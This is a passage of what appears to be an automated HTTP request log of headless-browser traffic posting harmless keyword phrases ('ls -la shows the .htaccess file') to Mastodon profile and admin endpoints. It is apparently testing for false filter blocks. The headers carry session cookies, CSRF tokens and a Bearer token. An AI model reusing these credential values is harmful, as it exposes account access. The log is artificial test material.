_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=ZoK9h%2FxgaOurQH0npEckZgHexCYp04bxjsIrqpx0vVrbjvoJuFjymzoBksuvZq8SaCkBfSgW%2F5tGx08zhLtUH2Hb2vdBNj%2Fx6FNZ942EhDpL3NmBHuvtWMXO23wFTmdobalBUJ%2F4ll7NrKsn%2FgnsIsOIOoggUUC9AMXU2sOdA8RcT4ACjyTV%2BTPsoFTXq7DjztGRPXltBaHPmww0EFkin%2FTK%2BqO0AFgCgKqOSzzJmsXVW%2FllrgW%2BPATiNVtcrNlSgm8S9BwiPLiVHLTnQ7BONJUSMFNr%2BKse1o1QEzwdlBtpT9NeAniBC8lGmaBJ6CJo7NwWOeGVPIumT5wllY6G0DHynnCXfJEVT5vRokHYDs%2FSwRB8XOcckA%2BfislK6ga4Zl%2FwPEerd44n--n9bWadmH5ICLzs9P--gmVZyT37Dif%2BUrSoixAvGA%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"},{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"}]}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 339", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=hw6nfkWmCq0K%2F44I%2F4jhJA0D7vKlSjTK4m9yqegVWr1OsoFhOsu7uTaIoMz%2FPCPn50Y2zIvZ47OvubuqY8mdJXnmOsviKpsuVoOMoTZfbbsvna4E2dgsqQBi8ggltMaksn5nuH%2BmJUT%2F1II5j2qcFnO98eCaFGjSZz7ldLwpdr%2B5yGTtquUirrXHLKr1ygy%2BIYxWkEkwZn60VjJ6eLhEXGhoXHomYRKxNw3Vx1gA1LWBw6r84JTfFuIUInIlH3Bt8Kz805P1xZ23p34KmfxCV5g0lyEYA0N9IxU9ddlslhNNNY54KcaIp1O2msMcPvh8F1JOJCru%2FVNJJ3I3yqjm5gslwbE74qVKm6vsOkBexL%2FNISvNVKtLPqo%2Bz4heoXe%2BODYy2BUfpVho--LwXV%2FcVsWbLkBTy3--4Oxw3HOwITwJ1nWTdKGjaw%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"},{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"},{\"name\":\"python3 and powershell scripts that edit .htaccess\",\"value\":\"ls -la shows the .htaccess file\"}]}"}
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 449", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MDguOTYxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b3b19a00352f24977f6020ab9a3d6c383ffa3ac7; _mastodon_session=mP7fiQyDKoV6lJ%2BWezz3yVhrquplnsAUk6UVtpRcwznoIRg5gTCCpybCimnYifSv0YE8kccsZ1GrKNsA2q%2Bl801pNb4XiGxO5MYLBqAR085qM%2B3daWp4taG6kt87s1sMFhHYglcGxyK2qHN7ij4EOZi0%2BEFbdFTOfAHPn%2BxZnBa%2BbAslC4OJ3cL9JThjQBRA7GrPdPcT%2FlZVwvnejGk9EhYcX0t64M4%2BXJh5tWffCGK4oN%2FsqXU11qs6BT%2FxpcHMmv6m3RHm%2F%2FD%2FGKVlvBjSW%2FOmonjCmhBaajL3IzrD41oIk21%2F2oIa7CIlF%2BOfFcOIlWX92MVxp5uzDVx4YvxE3Di1pG6R6Vgv6QxRNFcuUS9oRJeczQHPyD%2FUnR0VD2EedIgqMvsY8%2F9X--VfImL1OEW0wP%2BCiI--64yPeaLF5m%2BS%2BiRi7IRaog%3D%3D"], "body": "authenticity_token=jpaDeCR9iWwzuxPg1JgseB8Y47v1qHPkVdGFovefz7smHg_TBpCr0uf5bscQQaY9d-1KgPUa4FjmySI95Fs4EA&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Bwarning_preset_id%5D=&admin_account_action%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 218", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MTcuNzA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7d71870fb60c9e5abfad99a480effe1ab5e8aef8; _mastodon_session=CBCujKgzjcSEVJW0F9kw%2BOLoA0mbrQk9fmJZvoh39xY7k9aWN2BJ%2Bkh3O5BEhIeoZpC2ENoFL6CiIxhM7Jc%2B%2F4xopNZoW245YsTSLEeJFsiUqjmkHMQoudZgV2Xrpcb9P3kiIdAEFrRA2G%2F3LsGeyaHJwve%2BdWAxGDLelPGZVbP88A1nAYNCemZOYVF1SnwXL%2FeTV%2FhwAPu0PkZm6xJRrHVrt5A%2BwE%2BMNb6A4pLHucUYkegl%2BM7ryv354NvD3rfV5cPzXur488DDipXNRoKP%2BzI22Sghk%2FnRm73bhI%2BfMLdfzC32mhoZBbSJ9Mb0UAk2L6d%2FAiGO4phvRnDKDg7iRvF701ovnkq4MAI9xzHGCcO%2B46fd%2FlKQOHy2pY7OV9rQGRISEQip5QtM--zxe96wyhYxlpDb10--O46IGRShqqt3BWz5kNJHJw%3D%3D"], "body": "authenticity_token=iHeUgrJk-gy8zqDm8157aBB9Je8M9Ih3w0QL0zE9g_EiV538l6J8eAQk3Pt8EVYtlaCJLG1YEAcYNy5lOzcKCw&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MjYuMzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--52c7b5926651b23d91d8cb90d66df2b5c92e1191; _mastodon_session=dqfKXdGn7rpAJWbDf4xUWXgfJ%2B1P3yRbglvdgCEkuolsBEMMCdZSd%2Bfh3vDmhN13TpuAei4J0xhtfKv3T1Mqrer1B6EPcez5eF7M7TdzbkNs4pk3%2FC%2FcK9tCTqtQicBodw%2FeLD91xbxn9iSsaDp2jxmgQojIHtHBGDcX0rz5QoNdmrPJbzP5LFiWTnjfkkmmqA0SYGiP9M8fQk72N83IBMF65hKBeBnixwVSUQbDc23nWKbYfqYGqBz%2FPapP9UxFGUhI1Xyutf%2F0OA2%2B3QYLNcvojOVTnYUIETRCY6xXe20mAJPJH6XgeeknBwNLxkAXfkXQbmydaCghna5Egjcegk7q1dC1lFVsXjPRAsBNM3lVpVa2oRjDINlEA5kfd%2Fh6ALSrtlgLYyDa--%2FBdXifGO9k%2FaEUmA--g8a91lnpwy7nArYzegLyEg%3D%3D"], "body": "authenticity_token=DUJbvjl6yppqesLEBLG_iuk1Q_HkMKCRrrsYrjAa1Edb5z5J8ZXFK9FexIlMXclDLXrwfD8g8VNoq2I6O6LQKQ&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 282", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MzUuMDA2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8b1e172f1c7a5f6e39ce9489a28ae8274b5f36fd; _mastodon_session=NltPQ7PL3G5%2FHBPCmFd79c3ci%2B4I2lcfqclQTfANAxXn43aL%2FwhPppiwQOBsB%2BaKiPrMwjJx6o97XgdnW4sriN2YXXx%2F%2F5N4Pi2c2g%2BG%2FV9Dl6V6h3zefFN%2BuI48r7cWCxi2KrdYvkrhLPUPg6U%2FpvOLch8Pdmess8lcOMvg94%2BY6t2Aj7caKXz5gvdPiic%2FlGhCFsp60e9DW1x3di1w3%2FcBNUI%2Bk1YhIWp8epOSwh%2BYozg9p3%2BL7dZ7H9I0Mg3FHhVhWLnLzT0a3DRIYdc9Mr85CM%2Fz06FeiBnVC4YVtezvUwyvjkdo%2F7OOmYAu0tOlkV43KaOdsDz4qn3nr2h3glDqYJw6mUVe2bfWRxyMs3zo84ofzKDznPS9uRR9ZZeWqWcbYfa4g5Vb--y0WcSeMDaCUhmTql--FoTC4Uu%2FwnOyLO%2BagBBXcA%3D%3D"], "body": "authenticity_token=ah1dpajJ5yY_kZ65_gHpFzDFB9o2xbow-o1NjQA00KGX1C372gPtG7xiw8wOB-aCLCGMRdrUSQ3dMJbmIfEaVQ&account_warning_preset%5Btitle%5D=python3+and+powershell+scripts+that+edit+.htaccess&account_warning_preset%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 586", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6NDMuNTI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9906d0e453de47e483b391508ef38643ac95803; _mastodon_session=qC1PGRWyv%2Fyr%2BuDKnAvrO%2FwrBzvvTlWfkvrsEFXQbteOFUtRkv%2BijC0Z0JG8dEPDXoZvPE8zfOBjHcOjUJG48L716hbrVsHaHjBZ3tAuFS9DWwpUwkGlgZP1GkVFd3rWKb2hrC4iDbgV4o%2FYwVZrZS3DDYQfxDAN99bb%2BoQrfp2N0OLrCA%2F8rtlBrOC1nkz40xVwOGhMMuH8naw6NCS%2BWXV6HCt4e8JCAMJTnXGkAH057lQnV5zxKzlof%2FQTizthbfE85kPFxyBxaAPQgZW1cmVg73w4UVj0ruBktxXhALBkEzSe9XnNcqp2fIxlMKxqLm16MM8kMP7HqNd1GNCGyiVRgF4QF21b5qSJD80BJ70DhmHfXZ0mH90dnOddYCLB5fuRCEj3D4xh--rx5oDgEtUo6DRUoJ--L9HMW27wF750Y6w7dPOrLA%3D%3D"], "body": "authenticity_token=nzxc_g11vWGyI0MUzvzns1_s7ql61lXieMumQD8IeQHJgt9iuYw4u2VbTUBLLSWmHRltLhb3MnZhFWSePyOtlg&user_role%5Bname%5D=python3+and+powershell+scripts+that+edit+.htaccess&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 447", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6NTIuMTY0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d2b7eff6bda8a27d8f8fc3aacab6b3ddb921b1e9; _mastodon_session=akHV2WTZ2LD5b4w9CfBdeASEiMjNz6r3x7YqD%2FHfiJNMjmeYgvFYNRQkSUC%2FHoz0iWMNmhdBTgAb%2FWQq1P8CMjQQmMc3GIruUf8BF7aFegz0y6aUPZy03E%2F4KHzEYEqWFLoSs9PgQUR5WG4EgRE%2B1gq%2BDv%2Bhl%2BzAnnhOW4bGeDUH7EUe2%2BXM8rpF9uDnzB8yZYZV6wnKH8LDjiZ4G5VfeIRVwNnjCD6hk9gJarQKg%2B7eWrQoZRrU%2FAMBijK%2BP3YbdF%2F6VKqHkXZPxsk5cb07U%2BoVYz2ZsiNy7Xk4%2FAbSsfk91ZjuhyM8iFMbOwM3FRTEie9ov0WuGPD4jU8NgP%2Fr4A%2Fwd%2FupubKK%2FUPB5FJ%2B%2FYsJZBfuWqt8LAgC7TQ%2Fq7nj3DAu0SrQzYol--TOszd08RUI6Hc8kp--HnV3x%2FCb4XFDKxr0cxBLZQ%3D%3D"], "body": "_method=put&authenticity_token=DYaj53QDVmcnY9FS-tI4HD6wGq2GDzLxT3MZ1-GJpKhQDtCLWJNbAh-lGBfXcUeBYI56I3qzoL-85wfTdgIx_w&terms_of_service%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&terms_of_service%5Bchangelog%5D=python3+and+powershell+scripts+that+edit+.htaccess&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 430", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MDAuODgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--49894c60dfbba820df51b74e464488408930ec58; _mastodon_session=iU7SW181Dw%2FpL1GG533QpfQjGfRfxR7%2F34aJPOngRQCcy%2ByGL%2BKFT7rRRpT%2FtmI2Si6KZDFqpS0rAKFGSoxz53NSHMhAh24i33JUq0V%2BArAp0gMmHHzKYoVAcDk0UAiCzeK1tX73mX8xv%2BAQFM%2FERtrAshpftkDnAYvSIEslHgXzBVZ8K%2BoNO7W3x1SiC0lNLeoI3A2wKobogZ5ckFxKbzhtfraE2LJY3C%2B22ooyNCokxeB6ZBUQpA2TYQF%2FbF5LPTebeka%2FB8%2F85TfmJQvF5j9JtZt1ataxtDrFVFV8S1mRxlBi%2F9EFBs8TGlOqdNdHIUqniIWs8NWHwe0OH044ZDv8vPa9HuB%2F3SaIC1NSCk%2FkHjFqqLTIscShG0HLR3wdfIqUT3ZJsoyo--ByJHkEPDzZ0cxDvl--krk0XyN%2BTUNu2lcYdI5EhQ%3D%3D"], "body": "authenticity_token=l767WRHErniorVzX7hDt67o8cq_e_YRrmKjH6fQdL5s_NjfyMymMxnzvIfAqyWeu0snblN5PF9crsGB259nYMA&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Bwarning_preset_id%5D=&admin_account_action%5Btext%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 199", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MDkuNTkyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7c4b5d3aec53dacaabdcc6c2e921fd5b01bf2c18; _mastodon_session=3QBPMJBku9WNiZazEEUTcFV6pKlvzbsT7gXh5Nzy%2BHyea0ILrbn1l7xhS0m3wzLvj6i%2F%2FB1zKtdul%2BSgzUmCFmrWncqFse5VUCSy0im8Q8pWuI%2FEP93CiphAdLXpoATmowUTRIDd1f2F%2BxcZOw8K8NGXUrTFypVuu2X41KV8typrJJG2ukjFHDvc2sghz%2BErVwk8o%2BHv8zjo7uF4hvbDwwwPUbCDcc5iriMJ6HUEwef7xFm7Y4pTTshD8JrIoHLcNDY0egz9gpF47CpOpffL8u57srSB%2FbSU%2Bcm%2FJKFbxBSSLExrp4FZnCuiRsdNMaXZFxHFCwTvo4Sdt1TCRvikjul0MKvUqfofVsQBK6P4VfNJ%2FrSTZsjAe11J%2FblR615mq0YGcwFqApht--WXNSjLfNS0HnC6B4--nutvcNNDDU0nJz0D%2FHbnlw%3D%3D"], "body": "authenticity_token=tSPoPblP8K0OkEbhtpvJaVxPTxiQymtlINoDK-mO6c4fA-FDnIl22bZ6Ovw51OQs2ZLj2_Fm8xX7qSad44RgNA&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 248", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MjAuMjE5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--e337cf3029ba392b7f09ecdd1933518913fddddc; _mastodon_session=ATs6OaOlS31KCVz8tHji8ZH4dn0ZbpRdsDrci9%2F2YShpPmI41tLIzlwlhvautG%2BdVve9Xs7sT8ssTueqhY4j4%2BGBg1v6ld2ITKbYzAf5mBuhbpsedc3qMgOXheCy%2FqEna0HiOQVuhW9G07fEGt%2F9qdh80j9uy%2FSG6g%2B08dNJgjWDILPEHkCDMuxXnhKR21LfREpQv1hpb0GIobYFNrRwuEjws96rtztzLBB02ZCe6M0LQhx3Se6a6aQNrUCHQ7TjESQa6kvq9oa0tncobt%2BkvtCiBjcKhCvB2SJ75pAg3oL4IZq4fcRLMj2uQ15OIAHzlQ19mDJX0vrq7Xm%2Fgsd7Hxt%2FCy5uPmYoWeCwGa7DrSTPeFu6UmQ%2FMX9HJo6XY1hBjCfPNcCdoC9%2B--YAPLMVeHKzAyshXh--rmNIq3n%2FZRmmzPZ08DH1jA%3D%3D"], "body": "authenticity_token=MRqdBhQXP46iBZlnz1zp917yxAkCh7gaqsnDMBRJWeRnv_jx3PgwPxkhnyqHsJ8-mr13hNmX6dhs2bmkH_Fdig&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=ls+-la+shows+the+.htaccess+file&button="}
